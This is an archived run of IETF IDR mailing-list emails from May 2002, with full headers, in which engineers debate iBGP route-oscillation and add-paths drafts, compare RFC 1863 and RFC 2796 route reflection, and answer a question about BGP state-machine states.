Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id RAA01046 for ; Fri, 31 May 2002 17:15:32 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 70ABF912B8; Fri, 31 May 2002 17:14:49 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 4031B912B9; Fri, 31 May 2002 17:14:49 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 38680912B8 for ; Fri, 31 May 2002 17:14:48 -0400 (EDT) Received: by segue.merit.edu (Postfix) id F28D05DEB7; Fri, 31 May 2002 17:14:41 -0400 (EDT) Delivered-To: idr@merit.edu Received: from bridge.axiowave.com (unknown [64.115.125.242]) by segue.merit.edu (Postfix) with ESMTP id 635A25DE0F for ; Fri, 31 May 2002 17:14:41 -0400 (EDT) Message-ID: From: Dimitry Haskin To: "'Enke Chen'" , Dimitry Haskin Cc: idr@merit.edu Subject: RE: iBGP route oscillation drafts Date: Fri, 31 May 2002 17:14:38 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Sender: owner-idr@merit.edu Precedence: bulk Correct, it becomes a matter of route reflecting policy with all resulting consequences. > -----Original Message----- > From: Enke Chen [mailto:enke@redback.com] > Sent: Friday, May 31, 2002 4:54 PM > To: Dimitry Haskin > Cc: idr@merit.edu; enke@redback.com > Subject: Re: iBGP route oscillation drafts > > > Hi, Dimitry: > Just one comment: once we have a mechanism in BGP to > advertise multiple paths, > it would be possible for a RR to support multiple operating > modes, advertising > a subset or fullset depending on the customer need. For example: > > L0 - advertise bestpath > L1 - advertise best in each neighbor AS > L2 - advertise all paths > > It seems that the approach of RR (at L2) would converge with > the RS approach > described in RFC 1863. > > -- Enke > > > Message-ID: > > > From: Dimitry Haskin > > To: idr@merit.edu > > Subject: RE: iBGP route oscillation drafts > > Date: Fri, 31 May 2002 14:12:33 -0400 > > > > Falks, > > > > FWIW, I attempt to give a brief historical and > implementation perspective on > > the subject at hand. > > > > The concepts that both draft-walton and draft-wilfong put > forward have been > > presented in rfc-1863 in much greater details (intellectual > property claims > > in draft-wilfong are simply ridicules). This rfc has been actually > > implemented and deployed in a large enterprise network. In > this particular > > deployment use of RRs that pass only a single route to > their clients was not > > an option since border routers needed to know all exit points to a > > particular destination for the load sharing purpose. Use > of a full iBGP > > mesh was not an option either since there was many hundreds > if not thousand > > border routers involved. > > > > To summarize, rfc-1863 offered all benefits of the full > mesh iBGP, including > > equal cost multipath support, without administrative burden > of the full mesh > > peering. On other hand, RR, as currently widely > implemented (rfc-2796), > > offers better scalability as far as amount of routing > information passed > > around at the expense of reduced functionality and > potential instability due > > to the reduction of routing information. > > > > It also should be mentioned that rfc-2796 is somewhat > easier to implement > > than rfc-1863. Going back to draft-walton and > draft-wilfong, they are > > seriously flawed or insufficient as far as the description > of mechanisms > > that need to be implemented at reflecting routers and their > clients. For > > instance, it is not sufficient for a reflecting router to > simply include a > > withdrawn route in the unreachable prefix list (as can be done with > > rfc-2796) since a client would not be able to determine > which of multiple > > routes advertised by RR to the withdrawn prefix is to be > actually withdrawn. > > A correct mechanism is in rfc-1863 as other important > details. So indeed, > > contrarily to some claims on the mailing list, to implement proposed > > extensions would require procedural changes to both > reflecting routers and > > their clients. > > > > Regards, > > Dimitry > Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id RAA00666 for ; Fri, 31 May 2002 17:05:55 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 02377912B7; Fri, 31 May 2002 17:04:11 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id B85FB912C0; Fri, 31 May 2002 17:04:10 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 09A7D912B7 for ; Fri, 31 May 2002 17:04:05 -0400 (EDT) Received: by segue.merit.edu (Postfix) id C99B85DEAF; Fri, 31 May 2002 17:03:58 -0400 (EDT) Delivered-To: idr@merit.edu Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by segue.merit.edu (Postfix) with ESMTP id 5226F5DE0F for ; Fri, 31 May 2002 17:03:58 -0400 (EDT) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA02253; Fri, 31 May 2002 17:04:02 -0400 (EDT) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id RAA04389; Fri, 31 May 2002 17:04:03 -0400 (EDT) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Fri, 31 May 2002 17:04:02 -0400 Message-ID: <39469E08BD83D411A3D900204840EC55822708@vie-msgusr-01.dc.fore.com> From: "Abarbanel, Benjamin" To: "'Enke Chen'" , Dimitry Haskin Cc: idr@merit.edu Subject: Testing Date: Fri, 31 May 2002 17:04:01 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="ISO-8859-1" Sender: owner-idr@merit.edu Precedence: bulk Testing: Does this list work? -----Original Message----- From: Enke Chen [mailto:enke@redback.com] Sent: Friday, May 31, 2002 4:54 PM To: Dimitry Haskin Cc: idr@merit.edu; enke@redback.com Subject: Re: iBGP route oscillation drafts Hi, Dimitry: Just one comment: once we have a mechanism in BGP to advertise multiple paths, it would be possible for a RR to support multiple operating modes, advertising a subset or fullset depending on the customer need. For example: L0 - advertise bestpath L1 - advertise best in each neighbor AS L2 - advertise all paths It seems that the approach of RR (at L2) would converge with the RS approach described in RFC 1863. -- Enke > Message-ID: > From: Dimitry Haskin > To: idr@merit.edu > Subject: RE: iBGP route oscillation drafts > Date: Fri, 31 May 2002 14:12:33 -0400 > > Falks, > > FWIW, I attempt to give a brief historical and implementation perspective on > the subject at hand. > > The concepts that both draft-walton and draft-wilfong put forward have been > presented in rfc-1863 in much greater details (intellectual property claims > in draft-wilfong are simply ridicules). This rfc has been actually > implemented and deployed in a large enterprise network. In this particular > deployment use of RRs that pass only a single route to their clients was not > an option since border routers needed to know all exit points to a > particular destination for the load sharing purpose. Use of a full iBGP > mesh was not an option either since there was many hundreds if not thousand > border routers involved. > > To summarize, rfc-1863 offered all benefits of the full mesh iBGP, including > equal cost multipath support, without administrative burden of the full mesh > peering. On other hand, RR, as currently widely implemented (rfc-2796), > offers better scalability as far as amount of routing information passed > around at the expense of reduced functionality and potential instability due > to the reduction of routing information. > > It also should be mentioned that rfc-2796 is somewhat easier to implement > than rfc-1863. Going back to draft-walton and draft-wilfong, they are > seriously flawed or insufficient as far as the description of mechanisms > that need to be implemented at reflecting routers and their clients. For > instance, it is not sufficient for a reflecting router to simply include a > withdrawn route in the unreachable prefix list (as can be done with > rfc-2796) since a client would not be able to determine which of multiple > routes advertised by RR to the withdrawn prefix is to be actually withdrawn. > A correct mechanism is in rfc-1863 as other important details. So indeed, > contrarily to some claims on the mailing list, to implement proposed > extensions would require procedural changes to both reflecting routers and > their clients. > > Regards, > Dimitry Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id QAA00204 for ; Fri, 31 May 2002 16:54:54 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 2EA17912B5; Fri, 31 May 2002 16:54:16 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id EE4BE912B6; Fri, 31 May 2002 16:54:15 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id D6C32912B5 for ; Fri, 31 May 2002 16:54:13 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 915445DEB6; Fri, 31 May 2002 16:54:07 -0400 (EDT) Delivered-To: idr@merit.edu Received: from prattle.redback.com (prattle.redback.com [155.53.12.9]) by segue.merit.edu (Postfix) with ESMTP id 535695DE0F for ; Fri, 31 May 2002 16:54:07 -0400 (EDT) Received: from popserv1.redback.com (popserv1.redback.com [155.53.12.56]) by prattle.redback.com (Postfix) with ESMTP id 092F039B5AB; Fri, 31 May 2002 13:54:13 -0700 (PDT) Received: from redback.com (fall.redback.com [155.53.36.220]) by popserv1.redback.com (Postfix) with ESMTP id B6A4215D3C1; Fri, 31 May 2002 13:54:12 -0700 (PDT) To: Dimitry Haskin Cc: idr@merit.edu, enke@redback.com Subject: Re: iBGP route oscillation drafts In-Reply-To: Message from Dimitry Haskin of "Fri, 31 May 2002 14:12:33 EDT." Date: Fri, 31 May 2002 13:54:12 -0700 From: Enke Chen Message-Id: <20020531205412.B6A4215D3C1@popserv1.redback.com> Sender: owner-idr@merit.edu Precedence: bulk Hi, Dimitry: Just one comment: once we have a mechanism in BGP to advertise multiple paths, it would be possible for a RR to support multiple operating modes, advertising a subset or fullset depending on the customer need. For example: L0 - advertise bestpath L1 - advertise best in each neighbor AS L2 - advertise all paths It seems that the approach of RR (at L2) would converge with the RS approach described in RFC 1863. -- Enke > Message-ID: > From: Dimitry Haskin > To: idr@merit.edu > Subject: RE: iBGP route oscillation drafts > Date: Fri, 31 May 2002 14:12:33 -0400 > > Falks, > > FWIW, I attempt to give a brief historical and implementation perspective on > the subject at hand. > > The concepts that both draft-walton and draft-wilfong put forward have been > presented in rfc-1863 in much greater details (intellectual property claims > in draft-wilfong are simply ridicules). This rfc has been actually > implemented and deployed in a large enterprise network. In this particular > deployment use of RRs that pass only a single route to their clients was not > an option since border routers needed to know all exit points to a > particular destination for the load sharing purpose. Use of a full iBGP > mesh was not an option either since there was many hundreds if not thousand > border routers involved. > > To summarize, rfc-1863 offered all benefits of the full mesh iBGP, including > equal cost multipath support, without administrative burden of the full mesh > peering. On other hand, RR, as currently widely implemented (rfc-2796), > offers better scalability as far as amount of routing information passed > around at the expense of reduced functionality and potential instability due > to the reduction of routing information. > > It also should be mentioned that rfc-2796 is somewhat easier to implement > than rfc-1863. Going back to draft-walton and draft-wilfong, they are > seriously flawed or insufficient as far as the description of mechanisms > that need to be implemented at reflecting routers and their clients. For > instance, it is not sufficient for a reflecting router to simply include a > withdrawn route in the unreachable prefix list (as can be done with > rfc-2796) since a client would not be able to determine which of multiple > routes advertised by RR to the withdrawn prefix is to be actually withdrawn. > A correct mechanism is in rfc-1863 as other important details. So indeed, > contrarily to some claims on the mailing list, to implement proposed > extensions would require procedural changes to both reflecting routers and > their clients. > > Regards, > Dimitry Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id QAA00026 for ; Fri, 31 May 2002 16:50:18 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 61435912B4; Fri, 31 May 2002 16:49:29 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 30D76912B5; Fri, 31 May 2002 16:49:29 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 332A2912B4 for ; Fri, 31 May 2002 16:49:28 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 06A335DE0F; Fri, 31 May 2002 16:49:22 -0400 (EDT) Delivered-To: idr@merit.edu Received: from prattle.redback.com (prattle.redback.com [155.53.12.9]) by segue.merit.edu (Postfix) with ESMTP id BCC585DDC1 for ; Fri, 31 May 2002 16:49:21 -0400 (EDT) Received: from popserv1.redback.com (popserv1.redback.com [155.53.12.56]) by prattle.redback.com (Postfix) with ESMTP id 7532A1531C1; Fri, 31 May 2002 13:49:27 -0700 (PDT) Received: from redback.com (fall.redback.com [155.53.36.220]) by popserv1.redback.com (Postfix) with ESMTP id 2004315D3C1; Fri, 31 May 2002 13:49:22 -0700 (PDT) To: Dimitry Haskin Cc: "'John G. Scudder'" , idr@merit.edu, enke@redback.com Subject: Re: iBGP route oscillation drafts In-Reply-To: Message from Dimitry Haskin of "Fri, 31 May 2002 15:57:22 EDT." Date: Fri, 31 May 2002 13:49:20 -0700 From: Enke Chen Message-Id: <20020531204923.2004315D3C1@popserv1.redback.com> Sender: owner-idr@merit.edu Precedence: bulk > Message-ID: > From: Dimitry Haskin > To: "'John G. Scudder'" , > Dimitry Haskin > Cc: idr@merit.edu > Subject: RE: iBGP route oscillation drafts > Date: Fri, 31 May 2002 15:57:22 -0400 > > I see.. Still, what draft-walton-bgp-route-oscillation-stop-00 tries to > achieve can be done without introducing a path identifier or any > modifications to existing attributes. True - please see my suggested revision in an earlier post that would avoid introducing the path identifier. -- Enke > > Dimitry > > > > -----Original Message----- > > From: John G. Scudder [mailto:jgs@cisco.com] > > Sent: Friday, May 31, 2002 3:21 PM > > To: Dimitry Haskin > > Cc: idr@merit.edu > > Subject: RE: iBGP route oscillation drafts > > > > > > At 2:12 PM -0400 5/31/02, Dimitry Haskin wrote: > > >Going back to draft-walton and draft-wilfong, they are > > >seriously flawed or insufficient as far as the description > > of mechanisms > > >that need to be implemented at reflecting routers and their > > clients. For > > >instance, it is not sufficient for a reflecting router to > > simply include a > > >withdrawn route in the unreachable prefix list (as can be done with > > >rfc-2796) since a client would not be able to determine > > which of multiple > > >routes advertised by RR to the withdrawn prefix is to be > > actually withdrawn. > > > > One quick correction (or clarification). > > draft-walton-bgp-add-paths-00 quite explicitly addresses the "how to > > withdraw a path" issue. This is done by including a path identifier. > > One does not even need to read the whole draft to understand this, > > it's made sufficiently clear in the abstract. > > > > --John > > Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA28078 for ; Fri, 31 May 2002 15:58:13 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 97C9A91227; Fri, 31 May 2002 15:57:33 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 6BAE7912B1; Fri, 31 May 2002 15:57:33 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 79E8491227 for ; Fri, 31 May 2002 15:57:32 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 3FC725DEA3; Fri, 31 May 2002 15:57:26 -0400 (EDT) Delivered-To: idr@merit.edu Received: from bridge.axiowave.com (unknown [64.115.125.242]) by segue.merit.edu (Postfix) with ESMTP id 72A025DDDC for ; Fri, 31 May 2002 15:57:25 -0400 (EDT) Message-ID: From: Dimitry Haskin To: "'John G. Scudder'" , Dimitry Haskin Cc: idr@merit.edu Subject: RE: iBGP route oscillation drafts Date: Fri, 31 May 2002 15:57:22 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Sender: owner-idr@merit.edu Precedence: bulk I see.. Still, what draft-walton-bgp-route-oscillation-stop-00 tries to achieve can be done without introducing a path identifier or any modifications to existing attributes. Dimitry > -----Original Message----- > From: John G. Scudder [mailto:jgs@cisco.com] > Sent: Friday, May 31, 2002 3:21 PM > To: Dimitry Haskin > Cc: idr@merit.edu > Subject: RE: iBGP route oscillation drafts > > > At 2:12 PM -0400 5/31/02, Dimitry Haskin wrote: > >Going back to draft-walton and draft-wilfong, they are > >seriously flawed or insufficient as far as the description > of mechanisms > >that need to be implemented at reflecting routers and their > clients. For > >instance, it is not sufficient for a reflecting router to > simply include a > >withdrawn route in the unreachable prefix list (as can be done with > >rfc-2796) since a client would not be able to determine > which of multiple > >routes advertised by RR to the withdrawn prefix is to be > actually withdrawn. > > One quick correction (or clarification). > draft-walton-bgp-add-paths-00 quite explicitly addresses the "how to > withdraw a path" issue. This is done by including a path identifier. > One does not even need to read the whole draft to understand this, > it's made sufficiently clear in the abstract. > > --John > Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA26888 for ; Fri, 31 May 2002 15:23:40 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 1980E9121E; Fri, 31 May 2002 15:23:06 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id D144291227; Fri, 31 May 2002 15:23:05 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id C721F9121E for ; Fri, 31 May 2002 15:23:04 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 83BD95DE9B; Fri, 31 May 2002 15:22:58 -0400 (EDT) Delivered-To: idr@merit.edu Received: from cisco.com (router.cisco.com [171.69.182.20]) by segue.merit.edu (Postfix) with ESMTP id C152A5DE99 for ; Fri, 31 May 2002 15:22:57 -0400 (EDT) Received: from [171.69.182.155] (ssh-sjc-1.cisco.com [171.68.225.134]) by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id PAA14190; Fri, 31 May 2002 15:22:29 -0400 (EDT) Mime-Version: 1.0 X-Sender: jgs@router Message-Id: In-Reply-To: References: Date: Fri, 31 May 2002 15:21:14 -0400 To: Dimitry Haskin From: "John G. Scudder" Subject: RE: iBGP route oscillation drafts Cc: idr@merit.edu Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-idr@merit.edu Precedence: bulk At 2:12 PM -0400 5/31/02, Dimitry Haskin wrote: >Going back to draft-walton and draft-wilfong, they are >seriously flawed or insufficient as far as the description of mechanisms >that need to be implemented at reflecting routers and their clients. For >instance, it is not sufficient for a reflecting router to simply include a >withdrawn route in the unreachable prefix list (as can be done with >rfc-2796) since a client would not be able to determine which of multiple >routes advertised by RR to the withdrawn prefix is to be actually withdrawn. One quick correction (or clarification). draft-walton-bgp-add-paths-00 quite explicitly addresses the "how to withdraw a path" issue. This is done by including a path identifier. One does not even need to read the whole draft to understand this, it's made sufficiently clear in the abstract. --John Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id OAA24984 for ; Fri, 31 May 2002 14:36:43 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 8863791221; Fri, 31 May 2002 14:36:04 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 5629591227; Fri, 31 May 2002 14:36:04 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 5633791221 for ; Fri, 31 May 2002 14:36:03 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 1CED25DE9B; Fri, 31 May 2002 14:35:57 -0400 (EDT) Delivered-To: idr@merit.edu Received: from prattle.redback.com (prattle.redback.com [155.53.12.9]) by segue.merit.edu (Postfix) with ESMTP id 967E65DDB4 for ; Fri, 31 May 2002 14:35:56 -0400 (EDT) Received: from popserv3.redback.com (popserv3.redback.com [155.53.12.64]) by prattle.redback.com (Postfix) with ESMTP id 18B84CAB77; Fri, 31 May 2002 11:35:59 -0700 (PDT) Received: from redback.com (fall.redback.com [155.53.36.220]) by popserv3.redback.com (Postfix) with ESMTP id 0648E7E6C1; Fri, 31 May 2002 11:35:58 -0700 (PDT) To: Alvaro Retana Cc: idr@merit.edu, dwalton@cisco.com, dacook@cisco.com, jgs@cisco.com, enke@redback.com Subject: Comments on draft-walton-bgp-add-paths-00.txt Date: Fri, 31 May 2002 11:35:58 -0700 From: Enke Chen Message-Id: <20020531183559.0648E7E6C1@popserv3.redback.com> Sender: owner-idr@merit.edu Precedence: bulk Hi, folks: > Date: Tue, 28 May 2002 14:15:52 -0400 (EDT) > From: Alvaro Retana > To: Pedro Roque Marques > Subject: Re: comments on draft-wilfong-ibgp-oscillations-00.txt > In-Reply-To: <200205281808.g4SI8Zq55441@roque-bsd.juniper.net> > Message-ID: [snip] > > Both -walton- drafts have now been published: > > http://www.ietf.org/internet-drafts/draft-walton-bgp-add-paths-00.txt > http://www.ietf.org/internet-drafts/draft-walton-bgp-route-oscillation-stop-00.txt > > -> The working group was asked to comment on a draft (the one quoted in > -> the topic), however it is not clear to me on which proposals exactly > -> are we supposed to comment upon. > > Comments on those are welcome. ;-) > > Alvaro. > Here are some comments on draft-walton-bgp-add-paths-00.txt (some of the comments have been communicated to the authors privately): The draft specifies a way to advertise and withdraw a path for a prefix. IMO per-path based update would require significant additional state (i.e., per-path instead of per prefix) and memory in order to avoid spurious withdraws that we experienced in the past. We could avoid the additional state and simplify implementation if we treat all the paths of a prefix as one unit in advertisement and withdraw. By "one Unit" I mean that all paths are advertised (could be in multiple messages) together, and are withdrawn by the NLRI. This can be accomplished by introducing two additional bit flags for the reachable NLRIs: o First Path Bit: When set, this indicates this is the first path for the prefix, and any existing paths should be removed. (This is similar to the current implicit replacement.) When clear, there is no implicit replacement. o Last Path Bit: When set, this indicates this is the last path, and bestpath selection should be done immediately. When clear, the bestpath selection may be deferred. This would help avoid FIB churn. Please note that with this approach there is no need to change the encoding of unreachable NLRIs, and the path "Identifier" field in the draft is no longer needed. Comments? -- Enke Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id OAA24088 for ; Fri, 31 May 2002 14:13:34 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 1FFDE9121D; Fri, 31 May 2002 14:12:42 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id E5F699121E; Fri, 31 May 2002 14:12:41 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 63EAC9121D for ; Fri, 31 May 2002 14:12:39 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 177F85DE99; Fri, 31 May 2002 14:12:33 -0400 (EDT) Delivered-To: idr@merit.edu Received: from bridge.axiowave.com (unknown [64.115.125.242]) by segue.merit.edu (Postfix) with ESMTP id 5F41A5DDB4 for ; Fri, 31 May 2002 14:12:32 -0400 (EDT) Message-ID: From: Dimitry Haskin To: idr@merit.edu Subject: RE: iBGP route oscillation drafts Date: Fri, 31 May 2002 14:12:33 -0400 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Sender: owner-idr@merit.edu Precedence: bulk Falks, FWIW, I attempt to give a brief historical and implementation perspective on the subject at hand. The concepts that both draft-walton and draft-wilfong put forward have been presented in rfc-1863 in much greater details (intellectual property claims in draft-wilfong are simply ridicules). This rfc has been actually implemented and deployed in a large enterprise network. In this particular deployment use of RRs that pass only a single route to their clients was not an option since border routers needed to know all exit points to a particular destination for the load sharing purpose. Use of a full iBGP mesh was not an option either since there was many hundreds if not thousand border routers involved. To summarize, rfc-1863 offered all benefits of the full mesh iBGP, including equal cost multipath support, without administrative burden of the full mesh peering. On other hand, RR, as currently widely implemented (rfc-2796), offers better scalability as far as amount of routing information passed around at the expense of reduced functionality and potential instability due to the reduction of routing information. It also should be mentioned that rfc-2796 is somewhat easier to implement than rfc-1863. Going back to draft-walton and draft-wilfong, they are seriously flawed or insufficient as far as the description of mechanisms that need to be implemented at reflecting routers and their clients. For instance, it is not sufficient for a reflecting router to simply include a withdrawn route in the unreachable prefix list (as can be done with rfc-2796) since a client would not be able to determine which of multiple routes advertised by RR to the withdrawn prefix is to be actually withdrawn. A correct mechanism is in rfc-1863 as other important details. So indeed, contrarily to some claims on the mailing list, to implement proposed extensions would require procedural changes to both reflecting routers and their clients. Regards, Dimitry Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id KAA16716 for ; Fri, 31 May 2002 10:48:37 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 87879912B2; Fri, 31 May 2002 10:48:09 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 55137912B4; Fri, 31 May 2002 10:48:09 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 5F23B912B2 for ; Fri, 31 May 2002 10:48:05 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 1CF095DDE5; Fri, 31 May 2002 10:47:59 -0400 (EDT) Delivered-To: idr@merit.edu Received: from presque.djinesys.com (dns.nexthop.com [64.211.218.216]) by segue.merit.edu (Postfix) with ESMTP id 62B625DDB7 for ; Fri, 31 May 2002 10:47:58 -0400 (EDT) Received: (from root@localhost) by presque.djinesys.com (8.11.3/8.11.1) id g4VElou19594; Fri, 31 May 2002 10:47:50 -0400 (EDT) (envelope-from jhaas@nexthop.com) Received: from jhaas.nexthop.com (jhaas.nexthop.com [64.211.218.31]) by presque.djinesys.com (8.11.3/8.11.1) with ESMTP id g4VEll919586; Fri, 31 May 2002 10:47:47 -0400 (EDT) (envelope-from jhaas@nexthop.com) Received: (from jhaas@localhost) by jhaas.nexthop.com (8.11.0/8.11.0) id g4VElcp07246; Fri, 31 May 2002 10:47:38 -0400 (EDT) Date: Fri, 31 May 2002 10:47:38 -0400 From: Jeffrey Haas To: sargupta@hss.hns.com Cc: idr@merit.edu Subject: Re: Idle hold/Active state in draft-ietf-idr-bgp4-17 Message-ID: <20020531144738.GB6663@nexthop.com> References: <65256BCA.00447E27.00@sandesh.hss.hns.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <65256BCA.00447E27.00@sandesh.hss.hns.com> User-Agent: Mutt/1.3.99i X-Virus-Scanned: by AMaViS perl-11 Sender: owner-idr@merit.edu Precedence: bulk On Fri, May 31, 2002 at 06:01:10PM +0530, sargupta@hss.hns.com wrote: > 2. What is the main difference between Active and Connect state? Is it that in > Active it accepts connections from other BGP peers and in Connect it just > connects to other BGP peers? In the connect state, the bgp speaker also listens for incoming connections. -- Jeff Haas NextHop Technologies Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id IAA11371 for ; Fri, 31 May 2002 08:32:30 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id B4CC991237; Fri, 31 May 2002 08:31:57 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 1B7A4912AC; Fri, 31 May 2002 08:31:40 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id D2C3391237 for ; Fri, 31 May 2002 08:31:28 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 84D075DDFC; Fri, 31 May 2002 08:31:22 -0400 (EDT) Delivered-To: idr@merit.edu Received: from hindon.hss.co.in (unknown [202.54.26.202]) by segue.merit.edu (Postfix) with ESMTP id 7EA425DDBE for ; Fri, 31 May 2002 08:31:20 -0400 (EDT) Received: from ultra.hss.co.in (ultra.hss.hns.com [192.168.100.5]) by hindon.hss.co.in (8.10.0/8.10.0) with ESMTP id g4VCWEc11161 for ; Fri, 31 May 2002 18:02:15 +0530 (IST) Received: from sandesh.hss.hns.com (localhost [127.0.0.1]) by ultra.hss.co.in (8.10.0/8.10.0) with SMTP id g4VCWQU19352 for ; Fri, 31 May 2002 18:02:26 +0530 (IST) Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3 (733.2 10-16-1998)) id 65256BCA.004481A2 ; Fri, 31 May 2002 17:58:16 +0530 X-Lotus-FromDomain: HSS From: sargupta@hss.hns.com To: idr@merit.edu Message-ID: <65256BCA.00447E27.00@sandesh.hss.hns.com> Date: Fri, 31 May 2002 18:01:10 +0530 Subject: Idle hold/Active state in draft-ietf-idr-bgp4-17 Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-idr@merit.edu Precedence: bulk Hi I have a few queries/doubts regarding Idle hold and Active states 1. As per the draft, "Upon entering the Idle Hold state, if the IdleHoldTimer exceeds the local limit the "Keep Idle" flag is set." And also "Upon receiving a IdleHoldtimer expired event, the local system checks to see that the Keep Idle flag is set. If the Keep Idle flag is set, the system stays in the "Idle Hold" state." Here what is meant by IdleHoldTimer exceeds the local limit? Does it mean that its value exceeds a certain configured limit or is it that when it expires. If the later is true then the second quote does not seem much relevant. And if the first is true then it is mentioned that if keep idle is set the state remains in idle hold. In this situation do we restart the idlehold timer or just wait for manual intervention only? 2. What is the main difference between Active and Connect state? Is it that in Active it accepts connections from other BGP peers and in Connect it just connects to other BGP peers? Please let me know your response on this. Thanks Sarika DISCLAIMER: This message is proprietary to Hughes Software Systems Limited (HSS) and is intended solely for the use of the individual to whom it is addressed. It may contain privileged or confidential information and should not be circulated or used for any purpose other than for what it is intended. If you have received this message in 